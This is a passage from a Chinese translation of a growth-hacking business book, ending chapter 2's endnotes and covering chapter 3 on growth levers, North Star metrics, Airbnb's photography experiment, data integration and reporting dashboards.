上的广告空间向用户推送他们可能想加为好友的人。\n推特的团队也是利用了类似的方法使更多用户体验到他们所发现的产品核心价值，从而获得了迅速的初期增长。数据显示，推特用户的“啊哈时刻”是收到朋友和明星、政客等他们看重的人发布的状态。就此，乔西·埃尔曼及其团队设计了全新的新用户体验，以使新用户尽快地关注30个推特用户。他们引入了推荐功能，并将之作为注册过程的主要环节。这一功能基于新用户注册时选择的兴趣点向其推荐具体的推特账号，比如他们可能感兴趣的明星和运动员。同样，在Qualaroo，我们发现回复超过50份调查问卷的用户更可能成为活跃的付费用户，于是我们开始向有可能达到这一门槛的试用用户建议调查的类型和投放位置。\n还有很多其他实现“啊哈时刻”的策略，比如产品参观、邮件互动、特价优惠等等，我们将在后面几章详细介绍何时及如何实行每一类策略。\n正因为实现“啊哈时刻”对于后期所有的增长来说至关重要，企业常常为此投入大量的时间和努力。增长专家詹姆斯·柯里尔建议，公司1/3的工程时间都应该用于打造对的新用户体验。脸谱网、推特和Pinterest甚至将新用户体验从它们的主产品中拿出来作为单独的产品来看待，并且设立了由设计师、产品经理、工程师和增长负责人组成的团队专门负责完善新用户体验。\n一旦发现了活跃用户群和“啊哈时刻”，也即实现了产品—市场匹配，你就可以开始在这一基础上系统地打造一台高速运转的增长机器了。本书接下来的部分将介绍具体的增长黑客方法和策略。\n针织群体，英文“Stitchn’Bitch groups”，是以女性为主的针织爱好者群体，出现于“二战”期间，她们定期相聚在一起一边做针织手工一边聊天。如今，这个群体遍布全球，形成一场社会运动。——译者注\nAlice Z. Cuneo, “Microsoft Changes Its Marketing Tune for Lackluster Zune,” AdvertisingAge, November 5, 2007.\nFarhad Manjoo, “The Flop That Saved Microsoft,” Slate, October 26, 2012.\nChamath Palihapitiya, “How We Put Facebook on the Path to 1 Billion Users,” 2013年1月9日发布于YouTube, youtube.com/watch?v=raIUQP71SBU;布赖恩对于问题“Yelp是如何获得2500万条评价的，它在起步时采用了什么创新的方法吸引用户”的回答，Quora，2013年7月31日，quora .com/How-did-Yelp-get-its-first-25-million-reviews-What-was-theinnovation-to-attract-users-when-they-started。\nAmy Pack, “Is Branch Out a LinkedIn Killer,” CNBC.com, June14, 2012, cnbc.com/id/47736408.\nJosh Constine, “How BranchOut Hit the Tipping Point and Grew from 1M to 5.5M Actives in 2 Months,” TechCrunch, March 2, 2012, techcrunch.com/2012/03/02/branchout-growth/; Colleen Taylor, “Branch- Out Hits 25 Million Users, Nabs $25M in Series C Funding,” Tech- Crunch, April 19, 2012, techcrunch.com/2012/04/19/branchout-25-million -users-funding-series-c/.\nMarc Drees, “BranchOut Keeps Falling Down, Down,” ERE Media, June 23, 2012,eremedia.com/ere/branchout-keeps-falling-down-down/.\nColleen Taylor, “BranchOut CEO Rick Marini on Building a Company atop Facebook’s‘Shifting Sands’ [TCTV],” TechCrunch, August 10, 2012, techcrunch.com/2012/08/10/branchoutceo-rick-marini-on-building-a -company-atop-facebook-shifting-sands-tctv/.\nIngrid Lunden, “As BranchOut Team Goes to Hearst, 1-Page Buys BranchOut’s Assets for $5.4M in Cash and Shares,” TechCrunch, November 18, 2014, techcrunch.com/2014/11/18/branchout-1-page/.\nGrowth @ Airbnb, “Driving User Growth at Airbnb,” 2016年4月11日发布于YouTube,youtube.com/watch?v=03mc78lKOwI。\nNewsweek Staff, “My Big Break: Yelp’s Jeremy Stoppelman,” Newsweek,October 21,2009, newsweek.com/my-big-break-yelps-jeremy-stoppelman -81133; Erick Schonfeld, “Citysearch Recasts Itself as CityGrid Media,” TechCrunch, June 2, 2010, techcrunch.com/2010/06/02/citysearchrecasts -itself-as-citygrid-media.\nJP Mangalindan, “The Trials of Uber,” Fortune,February 2, 2012, tech.fortune.cnn.com/2012/02/02/the-trials-of-uber/.\nAndrew Chen, “New Data Shows Losing 80% of Mobile Users Is Normal, and Why the Best Apps Do Better,” Andrew Chen blog (n.d.), andrewchen.co/new-data-shows-why-losing-80of-your-mobile-users-is -normal-and-that-the-best-Apps-do-much-better/.\nDownloadable Library of SaaS Resources, Pacific Crest Securities, pacific -crest.com/saas-survey-file-vault/.\nLisa Jennings, “Study: Restaurants Improve Customer Retention Rates,” Nation’sRestaurant News,June 8, 2012.\nTony Boobier, “Keeping the Customer Satisfied: The Dynamics of Cus- tomer Defection,and the Changing Role of the Loss Adjuster,” CILA report, July 2013.\nAsh Maurya, “The Achilles Heel of Customer Development,” Lean Stack, August 2009,leanstack.com/customer-development-getting-started/.\nDanielle Maveal,对Quora上的问题“Etsy在起步时是如何获得第一批独立卖家的”的回答，August 21, 2014, quora.com/How-did-Etsy-get-its-first-batch-of-independent-sellers-when-itstarted。\nEtsy registration statement, sec.gov/Archives/edgar/data/1370637/00011 9312515077045/d806992ds1.htm.\nIbid.\nBryan Hackett, “Tinder’s First Year User Growth Strategy,” Parantap Research &Strategy blog, March 3, 2015.\nIbid.\nIssie Lapowsky, “How Tinder Is Winning the Mobile Dating Wars,” Inc.,May 23, 2013.\nJackson,PayPal Wars,35–40.\nMargaret Kane, “eBay Picks Up PayPal for $1.5 Billion,” CNET, August 18, 2002, cnet.com/news/ebay-picks-up-paypal-for-1-5-billion/.\nJosh Muccio, “Brian Balfour of HubSpot—The Minimum Viable Test and How to Grow Your Startup,” Dailyhunt, April 27, 2015, dailyhunt.thepitch.fm/hubspot.\n“How to Increase Signups by 200%,” Treehouse blog, July 21, 2009, blog.teamtreehouse.com/how-to-increase-sign-ups-by-200-percent.\nDavid Carr, “Giving Viewers What They Want,” New York Times,Feb- ruary 24, 2013,nytimes.com/2013/02/25/business/media/for-house-of-cards-using-big-data-to-guarantee-itspopularity.html?_r=0.\nRobert J. Moore, “Applying the Lessons of ‘Moneyball’ and ‘Golden Motions’ to Your Business,” Boss(blog atNew York Times), boss.blogs.nytimes.com/2014/06/10/Applying-thelessons-of-moneyball-and-golden-motions-to-your-business/.\nKeith Sawyer,Zig Zag: The Surprising Path to Greater Creativity(JosseyBass, 2013),22–3.\nSimone Baribeau, “The Pinterest Pivot,” Fast Company,October 23, 2012, fastcompany.com/3001984/pinterest-pivot.\nLeah Goldman and Alyson Shontell, “Groupon’s Billion-Dollar Pivot: The Incredible Story of How Utter Failure Morphed Into Fortunes,” Business Insider,March 4, 2011, http://www.businessinsider.com/groupon -pivot-2011-3?op=1.\nJawed Karim, University of Illinois commencement address, May 13, 2007, https://youtu.be/24yglUYbKXE.\nDavid Skok, “SaaS Metrics 2.0—A Guide to Measuring and Improving What Matters,”For Entrepreneurs from David Skok(blog) (n.d.), forentrepreneurs.com/saas-metrics-2/.\n第三章\n 确定增长杠杆\n打造一个有吸引力的产品并通过不可或缺性测试是获得迅速、可持续增长的前提条件，但是只靠一个不可或缺的产品还不够。即便是真正出色的产品，即便它深受一群早期核心用户的喜爱，如果没有全力驱动增长的努力，也难免会失败。媒体报道过太多曾号称“将引领新风潮”的产品因无法为早期用户群之外的广大市场提供具有足够吸引力的核心价值而以失败告终，比如之前提到的谷歌眼镜，还有轰动一时的赛格威电动平衡车。但是还有一种更加令人困惑的失败案例没有得到充分的报道——那些确实提供了颇具吸引力的核心价值并且拥有广阔的尚未被占领的潜在市场的产品。它们的问题往往是缺乏精心设计并严密执行的增长战略。\n以Everpix为例，这是近年来最被看好的照片应用之一，设计的初衷是为苦于无法整理移动设备上大量照片的用户提供一个简便的解决方案。它的设计十分巧妙，使用起来也很简单，深受评论家的追捧，用户平均评分高达4.5颗星。科技博客TechCrunch赞美称：“Everpix最妙的一点是它提供的‘一次性设置’，也就是说，在初次安装并设置之后，你就什么都不需要管了。”它初期获得的5.5万用户也非常活跃，其中有大约一半的人至少每周都会打开一次应用。公司创始人选择了免费+增值的商业模式，即应用的基础版是免费的，用户可以选择每年花费49美元升级到付费的专业版。而当时，升级到付费版的转化率高达12.4%，远远高于大多数付费+增值产品1%左右的转化率。创始人的选择没有错，但是他们犯了一个致命的错误：没有利用早期用户的热情来获得更快的增长。\n虽然用户对产品的热情和高转化率看似表明Everpix正走在通往成功的大道上，但是事实上它就像一颗定时炸弹。创始人需要大幅增加付费用户的数量，而且要尽快做到这一点。产品发布一年半之后，公司的运营支出高达48万美元，而用户付费收入却刚刚超过25万美元，而且创始人将筹集的180万美元的种子资金几乎全部花在了开发产品功能上。在弹尽粮绝的情况下，公司又将收到来自亚马逊的约3.5万美元的网络服务账单，创始人只得努力筹集更多资金。融资失败后，Everpix最终倒闭了。\n他们也考虑过利用一些增长黑客方法驱动用户增长。例如，他们想过，当用户发送照片给另外一个人时，应用可以要求这个人先注册再下载照片。但是他们最终没有这么做，因为他们担心这会使用户感到厌烦。但是增长黑客不仅仅是从一系列方法中选择一个来试用，而是一个持续的试验过程，以确保这些方法能够取得理想的结果。如果他们真正推行增长黑客的话，他们就会运行试验以确定他们的假设是否成立。但他们没有这么做，而是始终一心扑在改进产品上，例如，他们开发了一个功能，可以通过邮件向用户发送他们在去年同一天拍摄的照片。这大大增加了每日访问应用的用户数量，但是他们的目标是创造更多收入，而每日活跃用户数并不是他们需要关注的指标。他们急需的不是提高既有用户的活跃度，而是增加付费用户的数量。\n他们也曾希望通过筹集更多资金来缓解资金链紧张，但是没有强有力的增长指标数据，要说服投资人就困难得多了。他们最终拿到了50万美元的贷款，但是他们接着聘请了一位传统营销专家，这位专家提出了一个新口号——“让你的照片井然有序”，希望能够以此触发增长，但结果事与愿违。\nEverpix的悲剧收尾说明了在适当的时间选择适当的增长杠杆有多么重要。转化率和用户好评都明确说明他们已经有了一个出色的产品和一群忠实的活跃用户，他们需要做的是把注意力从改进产品转移到增加收入上，即利用丰富的设计和工程人才将更多用户转化为付费用户。如果他们做到了这一点，Everpix可能今天已经成为一家利润丰厚的公司。\n明确增长战略\n创造并使更多用户体验到“啊哈时刻”是破解增长难题的第一步。下一步是明确你的增长战略。在进行快节奏增长试验之前，你必须清楚地知道你将如何驱动增长——你的增长杠杆是什么以及它们是否能够帮助你取得理想的结果。能否做到这一点将决定你的增长是真实、强劲、持续且能够创收的还是会像幻影一样转瞬即逝。\n你必须通过一套十分严谨科学的方法明确你需要何种类型的增长以及获得这种增长需要何种杠杆。尤其是在增长初期，必须设定一个十分严密的试验流程，专注于对实现目标来说最为重要的杠杆。试验速度本身并不是目标，毕竟，漫无目的的试验不论运行节奏有多快都注定是浪费时间和精力。增长黑客并不是要以最快的速度随意尝试各种想法，看哪个能奏效，而是通过快速的试验寻找并优化最具增长潜力的因素。\n在增长初期，你需要制定一个在最短时间内会对增长产生最大影响的试验策略。起步时关注点越集中，试验的目的性就越强，影响力也就越大。大公司有财力针对广大用户中的一小部分开展一次又一次的试验，而对于小公司，每一次试验都有很大的机会成本，因此必须在开展每次试验时都以高影响力为目标。当然，你无法提前确定是否能够实现这样的影响力，但是应当有非常具有说服力的依据证明将要进行的试验是最佳选择。\n高影响力试验除了可能带来更大的成功，也能够更快产生明确的结果。这可能有些难以理解。脸谱网和推特增长团队的前成员安迪·约翰斯给出了下面这个表格来解释这一点。他罗列了三个不同试验的结果，三次试验均旨在改进新访客转化率，基础转化率为3%。\n表3–1 试验影响力对试验速度的影响\n假设试验A测试的是一个小改动，比如注册按钮的颜色。结果显示，新访客注册人数涨幅非常小，只比没有改变按钮颜色时增加了5%。因此可以推断，注册按钮的颜色并不是阻碍新用户注册的关键因素。同时，这一结果也说明你需要让试验继续运行一段时间，等收集到足够的数据后才能得出明确的结论。如表3–1所示，要想在试验A中得到具有统计学意义的结果，每一个变量都需要72 300位访客，或者说，你需要等72天才能得到确定性的结果。正如约翰斯在接受First Round Review的一次采访中所说，“这对于创业公司来说太漫长了”。在这样的情况下，创业公司应该尽快放弃这个试验并开始下一个可能具有更高影响力的试验。\n开展大量的像调整按钮颜色这样的小改动试验并不是开展增长黑客过程的最佳方式。小型团队应该做的是专注于那些最有潜力产生影响力的试验。约翰斯格外强调这一点：“真的，要大胆一些，不能只是调整页面上某个按钮的位置。你可能因为网站流量比较小，所以选择运行这样的试验，而因为注册量有了小幅提升，你可能会将试验周期延长到几个月甚至几年。如果你们是一家年轻的创业公司，一定要想方设法获得大幅提升。”之后，随着用户或客户群的扩大，你就可以同时测试更多的利基领域了。随着客户数量的增长，不论改动有多小，同时推进数量更多的试验都可能带来巨大的成功。\n那么如何在战略层面将精力放在潜在影响力最大的试验上呢？这正是我们这一章将要讨论的内容。\n真正重要的指标\n确定增长战略和增长重点的第一步是明确哪些指标对你的产品增长来说最为重要。要做到这一点，最佳方式是建立约翰斯所说的公司“基本增长等式”（fundamental growth equation）。这是一个简单的公式，所有与增长相关的关键因素都在这个等式中有所体现，而这些因素相加共同驱动公司的增长。也就是说，这个等式是你核心增长杠杆的集合。每个产品或企业的等式都不尽相同。\n以下是摩根所在的英曼公司的等式：\n（网站流量×邮件转化率×活跃用户率×付费订阅转化率）+留存订阅用户+复活订阅用户=来自订阅用户的收入增长\n易贝的等式如下：\n发布物品的卖家数量×发布物品的数量×买家数量×成功交易数量=总商品增长数量\n为了说明这个等式的价值，约翰斯甚至创建了亚马逊的增长等式：\n垂直扩张×每个垂直市场的产品库存×每个产品页的流量×购买转化量×平均购买价值×重复购买行为=收入增长\n当然，所有产品都有共同的增长推动因素，比如新用户获取、高激活率或高留存率，但是每个产品或企业都有其特定的因素组合。例如，优步的一个关键因素是司机用户的数量，因为为保证乘客用户在用车时的“啊哈时刻”尽快到来，优步需要确保在任何地点都有足够多的司机。乘客用户数同样重要，乘客不仅可以创造收入，而且能够保证对司机的旺盛需求以留住现有的司机。正因如此，优步才要求增长团队专门负责这两个指标的提升。对于Yelp来说，核心增长因素是被评价的商家数和每个商家收到的评价数。对于脸谱网，关键因素是用户的分享数和用户花在查看动态消息上的时间，因为新分享的内容会增加动态消息的数量，也就会使用户花更多时间浏览，进而也会使网站对于广告主来说更具吸引力，从而能够收取更高的广告费。因此，虽然传统营销和预先定制的数据服务所跟踪的诸如网页访问量、页面浏览量、新用户和再次使用用户数、新注册人数和用户在网站上花费的时间等基本指标数据很重要，但是明确与产品或企业相关的特殊指标更加重要。\n要确定你的核心指标，首先要明确与用户对产品核心价值的体验最直接相关的行为。比如，对脸谱网来说，这样的行为就包括用户添加了多少好友、多久访问一次网站、发布了多少状态和评论以及在网站上停留多长时间。你至少需要跟踪用户达到“啊哈时刻”之前每一个步骤的相关指标，以及他们采取这些步骤的频率。例如，优步在乘客用户方面的核心指标是完成的行程数。所以，除了新增下载量之外，优步也应该跟踪预订的行程数、再次预订的乘客数以及乘客预订新行程的频率。\n前文提到的等式可能看起来过于简单。显然，一个企业成功的背后还有诸多其他因素的驱动，比如研发投入、材料成本、运货费用、库存管理等。但是增长公式的简洁明了正是关键所在。如今，即便使用最基本的数据分析程序，我们能够获得的客户行为数据量之大都令人惊叹。例如，谷歌分析提供了数百张图表和数据点（见图3–1）。虽然它提供的数据很可靠，但是如果它跟踪的并不是对你的增长来说最为重要的指标，就可能导致你迷失重点。删繁就简地将企业运营浓缩为一个基本公式可以为增长团队提供极大的帮助，使他们在杂乱的数据海洋中找准方向。\n图3–1 谷歌分析总览图\n注：谷歌分析总览图里的指标对你的增长来说并不一定是最重要的。\n要创建适合你所在公司的公式也并不容易。你直觉认为十分关键的指标事实上有时候对实际的持续增长的影响微乎其微，这可能包括一些你一度认为最为重要的指标，比如日活跃用户数。乔希·埃尔曼解释道，如果你的公司是一家旅行服务公司，比如Airbnb，那么日活跃用户数虽然在纸面上很好看，但对你来说其实毫无用处。即便是像Yelp这样的评论网站，也很难让用户每天都使用，每周一两次的使用频率已经算不错了。这些产品本身在用户使用频率上就存在局限性。无论你销售的是地毯还是抵押贷款，或是提供高档就餐或商业服务，“经常性使用”这个词都有着不同的含义。\n然而对某些企业，比如脸谱网，日活跃用户数就是一个非常重要的指标了。因为首先，一个人在一天中访问脸谱网网站的次数基本上没有上限或者上限极高。其次，脸谱网基于广告的收入模式是以大量用户长时间在网站上停留为前提的。也就是说，对于一家公司来说毫无意义的指标可能恰恰是另一家公司的核心增长杠杆。例如，乔希·埃尔曼曾在领英成立初期在那里工作过，他指出，对于职业社交网站，总注册量是一个关键指标。对于很多公司来说，总注册量可能存在一定的误导性，因为注册的用户如果不够活跃，也就没有什么实际价值，但是对领英来说，即便很多注册用户很少访问网站，他们填写的大量工作履历也是网站价值的根本所在。因为领英的收入来源是那些为寻找合适人选而订购网站高级功能的招聘人员，而吸引更多招聘人员、创造更多收入增长的最佳方式就是确保有足够多的人在网站上创建电子简历。另外，网站上的个人简历越多，领英通过谷歌搜索获得的流量也就越多，因为人们在谷歌搜索工作上的联系人时会搜到他们在领英上的资料，从而也就会有更多人在领英接触到重要的联系人或者找到合适的工作人选，他们也会因此经历“啊哈时刻”。\n而对于易贝来说，核心指标并不是日活跃用户数或者新用户数，而是待售物品的数量。这是因为网站上挂出的物品越多，潜在的买家也就越多。这些买家会因为看到他们心仪的物品而经历“啊哈时刻”，而同时更多卖家也会因为成功售出物品而经历“啊哈时刻”。经历“啊哈时刻”的买家和卖家越多，经常访问网站的人就会越多，售出的物品也就越多。因此，虽然增加访问网站的潜在买家人数很重要，但是使很多卖家挂出大量的待售物品很可能同样重要，甚至更为重要，因而这也是他们的增长试验应该特别关注的方面。易贝也的确是这么做的，它十分重视待售物品数的增长，因此设定了“总商品量”（GMV）作为最重要的增长指标。而这个最重要的增长指标就是增长黑客们常说的“北极星指标”（the North Star metric）。\n选定“北极星指标”\n为了完善增长等式、缩小关注范围，最好能够选择一个关键的能够决定最终成败的指标，以此指导所有的增长活动。这样的一个指标能够非常有效地使团队成员最大化地利用他们的时间，从而避免将资源浪费在漫无目的的增长试验上。\n增长黑客界有些人将这样的一个关键指标称为“唯一重要的指标”（One Metric That Matters），有些人称之为“北极星指标”。我们倾向于后者，因为它意味着这个指标会像北极星一样指引着团队朝着增长黑客过程的终极目标努力，使他们不会被某个短期的增长手段冲昏头脑。这样的短期手段可能会带来一时的增长假象，但是无益于长期的可持续增长。\n北极星指标应能够最为精准地抓住企业为客户创造的核心价值。要确定这个指标，你需要问自己：增长公式中的哪一个变量最能反映产品不可或缺体验的实现情况？拿易贝来说，总商品量是衡量易贝客户满意度的有效指标，对买家和卖家都是如此。对于WhatsApp（一个免费通信应用）来说，“啊哈体验”是能够向亲朋好友发送不限数量的信息，无论他们在世界的哪个角落都完全不必担心成本。所以WhatsApp的北极星指标就是用户发送的信息数，而不是日活跃用户数。因为如果一个用户每天都使用它，但只用它发送了一条信息，就说明WhatsApp并不是他和亲朋好友联络的主要方式。因此，日活跃用户的多少并不能代表WhatsApp的核心价值。对于Airbnb来说，北极星指标是客房的预订量。无论团队如何努力，不管是想方设法获取更多邮件订阅用户还是更多注册用户，如果客房预订量没有增加，那么用户体验到的“啊哈时刻”的次数也不会增加。Airbnb的“啊哈时刻”对于住客来说是获得满意的住宿体验，对于房东来说是利用自己的家赚取收入。\n指标因时而变\n随着企业的增长，初期目标得以实现，北极星指标也会随之改变。脸谱网在了解到如何激发用户参与度之后，它最初的月活跃用户数指标就过时了，而日活跃用户数成了更为有效的衡量标准。而在Zillow，“Play”增长计划的关注点就是它的北极星指标，而这一增长计划每年都会根据公司需求的变化选择一个新的关注点。\n随着企业的发展，产品团队和增长团队也会越来越多。在公司层面设立一个指导全局的核心指标的同时，每一个团队也会有各自的北极星指标。前文提到，领英现在关注的增长领域包括网络增长、SEO/SEM、用户引导、国际增长和用户参与，每一个领域都由一个团队专门负责。脸谱网最初的策略是将所有精力集中在一件事上——使新用户在10天内迅速添加至少7个好友。而随着公司的壮大，它的关注点也发生了变化。新的关注点包括扩大广告客户数量以及通过翻译引擎和Facebook Lite（脸谱网精简版）等手段扩大国际用户群。\n不要偏离路线\n在电影《美国狼人在伦敦》（An American Werewolf in London）中，两个美国青年在英格兰乡下背包旅行，在一家名为“被宰割的羔羊”的当地小酒馆里，一个男人警告他们“一定要沿着公路走，避开荒野，满月的时候尤其要小心”。上路后两人兴致勃勃地聊着天，走着走着就偏离了原定路线，走到了一片荒野上，而当时正是满月之夜。可想而知，没过多久其中一个人就遭到了狼人的袭击。接下来的剧情虽然有些恐怖，但是充满了喜剧色彩。不过，在发布产品时，走错路的后果可就没有这么有趣了。\n在追求增长的过程中，你可能经常发现自己置身荒野之中，为了提升某个指标废寝忘食地工作，结果却发现它并没有什么用。如果选择了正确的北极星指标，增长努力就能够朝着更完善的解决方案前进，因为它能够在增长试验偏航时为你指明前行的方向。\n放弃一项努力或一项试验有时并不容易，特别是当团队成员已经十分认同当下的努力方向的时候。当你认同某个想法时，压力和情绪都非常可能左右你的判断。脸谱网最早的增长团队负责人卡马斯·帕里哈比提亚就在一次访谈中说道：“如果你对自己负责的产品不能保持绝对的冷静客观，不带一丝情感，你就会犯下大错，增长也就无处可寻，因为你将无法理解哪里出了问题。”为说明对北极星指标的专注如何能够帮助企业做出时间和资源分配的艰难抉择，让我们来看一看Airbnb的案例，看看它的两位创始人为提高他们的北极星指标，即客房预订量，是如何决定开展一项试验的。\n首先，他们通过查阅数据寻找预订量比较低迷的市场。令他们惊讶的是，他们发现纽约市的预订量竟然不达标。纽约可是个十分重要的旅行目的地，于是他们和早期投资人——Y Combinator（美国创业孵化器）的保罗·格雷汉姆一起深入分析预订量低迷的原因。联合创始人乔·杰比亚回忆说，他在浏览纽约的房源时发现“照片拍得太糟糕了，都是手机拍摄的，而且画质像发在Craigslist上的照片一样糟糕。没想到，预订量低是因为人们看不清这些房子的情况”。格雷汉姆向两位创始人建议了一个技术含量低且比较耗费精力的方法，不过这个方法可以马上执行而且效果立竿见影。两位创始人结束了和格雷汉姆的会议之后就马上预订了去纽约的航班。杰比亚和联合创始人布莱恩·切斯基租了一台价值5 000美元的相机，挨家挨户地去拍摄公寓的照片。之后，他们对比了他们拍摄过的公寓和其他纽约公寓的预订量，发现新的照片带来了高于其他公寓两三倍的预订量，他们在纽约市的收入也立刻翻了一番。\n照片质量会影响预订量的假设被证实之后，他们马上将拍摄高质量照片的做法推广到其他预订量低迷的城市：巴黎、伦敦、温哥华和迈阿密。这一做法在每一个城市都取得了出色的效果。于是，为提高整体预订量，Airbnb决定推出一个摄影计划，使房东可以预约专业摄影师上门拍摄房子的照片。2010年夏天，Airbnb推出了这个计划，招募了20位摄影师，之后又有超过两千名自由职业摄影师加入。到2012年，他们已经在6个大陆拍摄了13 000套房子的照片。这么做成本低吗？当然不低，但是这使Airbnb在全球范围内的预订量增加了2.5倍。\n杰比亚和切斯基本来也许会尝试通过大规模搜索纽约市的房源、增加房东数来提高预订量，也可能会发送更多介绍纽约著名景点的推广邮件，或是购买搜索广告——当人们搜索纽约景点时就会看到Airbnb的房源信息。或许这么做能够或多或少增加网站流量，但是预订量还是会因为照片质量差而持续低迷。好在他们没有这么做，而是专注于增加预订量这一终极目标，结果不仅提高了预订量，也使网站获得了大量新增流量，从而带来了更高的收入。\n我们在前行过程中很容易丢失北极星的方向，走到荒野上追寻肤浅或是毫不相关的增长指标，也同样容易迷失在数据分析的芦苇荡中，失去开展增长试验的紧迫感。亚力克斯·舒尔茨指出，马克·扎克伯格在脸谱网发展早期就明确将月活跃用户数作为公司的核心指标，这帮助增长团队打破了“分析瘫痪”的僵局。做越来越多的数据分析有时可能是一个非常有吸引力的陷阱，因为数据分析是科学的，我们会觉得自己只是为了做得更严谨，不希望在没有充分证据的情况下就开展试验，因此可能将数据分析的时间无限拉长。舒尔茨在谈到增长时最喜欢引用的一句话就是美国“二战”时的一位指挥官乔治·巴顿将军的名言：“今天就全力执行的好计划胜过明天的完美计划。”清晰明确的北极星指标能够使数据分析具有很强的针对性，使具有高影响力的试验能够尽快落地。\n整合数据资源\n为确定增长等式并明确北极星指标，前提自然是能够收集客户行为数据并衡量产品表现和试验结果。只有这样才能知道你对于产品表现和试验结果的假设是否符合用户使用产品的真实情况。推特创始人杰克·多尔西将为此所做的数据跟踪设置称为“仪表配置”（instrumentation）。就像飞机如果没有仪表提供的实时高度、气压和风速等信息就无法飞行一样，没有随时可获得的恰当数据，增长团队也会迷失前进的方向。\n你需要基于增长等式确定对增长来说最为重要的一组指标，也同样需要花时间收集数据并配备恰当的分析能力，以便进行更精细的客户/用户信息及行为分析。当然，只靠谷歌分析等现成的数据应用并不足以做到这一点。虽然这些工具有其可取之处，但是当你开始发起猛烈的增长攻势时，你需要能够跟踪每一个用户从第一次访问到经历“啊哈时刻”或者到弃用产品的整个过程。大多数创业公司和成熟企业都会利用多个程序软件收集、储存并分析客户数据。例如，它们会利用网络分析程序跟踪用户在其网站上或在基于网络的产品中的行为，同时会采用客户关系管理软件监测用户对邮件和手机通知的反应，还会有一个跟踪付款信息的系统。\n我们在第二章提到，要了解如何使产品获得不可或缺性，就必然需要整合所有的数据资源，以对客户整个体验过程进行详细的跟踪。如果在这一阶段你还没有整合数据资源，那么你现在就应该立即着手去做。\n统一的数据仓库不仅可以为你指明试验方向，还可以帮助你设计更好的试验，以改进关键增长指标。最优秀的增长团队一定会花时间把数据收集和分析做好。脸谱网的增长团队就深刻认识到了这一点。2009年1月，他们甚至暂停了所有试验，花了一整个月的时间改进数据跟踪、收集和整合。据脸谱网增长团队里的第一位产品经理内奥米·格雷特回忆，2008年的时候，他们在优化增长方面走得有些漫无目的，而进行了数据整合之后，他们获得了完整的数据，能够看到每个用户在网站上的活动，这帮助他们更全面地了解到用户使用脸谱网的方式以及在使用过程中出现的问题。这使增长团队提出了更多有针对性的试验，从而有效地推动了增长。\n对于像脸谱网和沃尔玛这种大企业，要整合数据绝对是件麻烦事，但是对于小公司或者某个项目来说就容易得多了，况且还有一系列工具和服务可以帮助它们更轻松地收集并整合多个来源的数据。营销专家罗布·索伯斯就提出了一个利用现成工具搭建数据跟踪系统的简单方法，只需要每月花费9美元（在本书创作时）就可以使用。（我们不会在书中详细介绍这一方法，但是你可以在本书注释部分找到相关链接。）\n数据不是唯一\n关于数据的重要性我们已经谈了很多，但再详尽的用户数据也有其局限性。毕竟，即便是最为精细的分析也只能确切地告诉你用户在做些什么，而不会告诉你他们为什么这么做。有时你能够很容易地推测出某个行为规律背后的原因。例如，如果你看到大量的用户流失都发生在他们试图使用某个功能（比如视频播放器）的时候，你往往能够很快发现这个功能哪里出了问题，也就是产品设计师所说的可用性问题。以视频播放器为例，如果你深入分析数据，或许会发现当用户在安卓手机上使用播放器时这一问题出现得更频繁，那么你就会发现视频播放器在安卓设备上的运行功能存在问题，导致视频缓冲时间很长。这样的可用性问题很容易发现。但是导致用户对产品丧失兴趣的其他原因可能就没有那么容易发现了，要找出这些原因就需要开展用户调查或采访，或是二者的结合。\n虽然在产品原型开发测试初期进行用户调查或采访已经成为被广泛采用的做法，但是在太多的创业公司和成熟企业，一旦产品推出之后，这个做法就被丢到一边。事实上，进入快节奏试验过程之后你仍然应当持续利用这一关键资源，这至关重要，因为用户的反馈能够帮助你发现很多十分有效的试验思路。换句话说，在进行定量分析的同时，这种定性分析同样重要。\n简洁明了的报告\n在数据方面要说明的最后一点是，要以最简洁明了的方式汇报你的数据分析及试验结果。即使你跟踪了合适的指标，收集并分析了所有有效的数据，如果团队里除了数据分析师之外没有人能够看懂分析结果，一切就都没有意义了。大量的用户数据表、数据库查询资料和各种技术性演示对于数据分析师来说可能如获至宝，但是对于团队其他成员来说可能就像是在看天书了。这就是为什么应该花些工夫在报告中生动地说明你的工作进展，特别是与增长杠杆和北极星指标相关的进展。这时就可以利用所谓的“总览图”了。\n我们非常喜欢总览图。首先，它能够帮助团队聚焦关键趋势或指标；其次，它能够帮助你将你的发现分享给公司其他同事，也就会使更多人参与到增长过程当中。当我（肖恩）邀请GrowthHackers公司里的所有人（包括我们信任的顾问和董事会成员）一起为促进网站社区增长提出想法时，我们收到了很多非常棒的建议，其中不少都成功推动了增长。\n为整个公司提供更简洁明了的数据演示也能够使整个公司的人将北极星指标和其他重要指标作为关注的重点，促使增长团队以外的各个团队都能更加以数据为导向。Freelancer.com（一家外包接活网站）的前高级增长副总裁威利克斯·哈利姆曾经做过一个测试，想看看在工作区域展示数据总览图会对团队工作有何影响。他发现，对每个团队所负责的指标数据的固定展示大大提高了团队提升相应指标的能力。\n要充分了解简单明了的报告有多大的价值，我们可以先来看看增长团队在跟踪关键指标时所创建的数据表有多么复杂。HubSpot的高级产品经理丹·沃尔考诺克提供了下面这张表格。这张表可能蕴藏着无比宝贵的信息，但是非专业人士要想看懂这样的报表并利用它开展相应的行动，可能就太困难了。\n图3–2 一份典型的增长跟踪报告\n再来看一看Pinterest增长团队所做的图表，这是Pinterest增长工程师约翰·伊根在他十分受欢迎的博客里发布的。这篇博客介绍的是Pinterest追踪的27个指标。如图3–3所示，这样的图能够让人一目了然地看到重要的增长趋势。\n显然，这三幅图所体现的每一个趋势都清晰可见。当然，我们无法确切知道图中的具体信息，因为伊根出于保密性考虑在提供给我们的版本中抹去了数据细节。数据分享必须谨慎，和增长团队以外的公司其他人员分享报告需要谨慎，而对于分享到公司以外的信息就更要谨慎了。\n创建这样的总览图并不复杂，市面上可用的数据可视化工具数不胜数，既有像Geckoboard和Klipfolio这样适合小型创业公司的简单工具，也有像Tableau和Glik 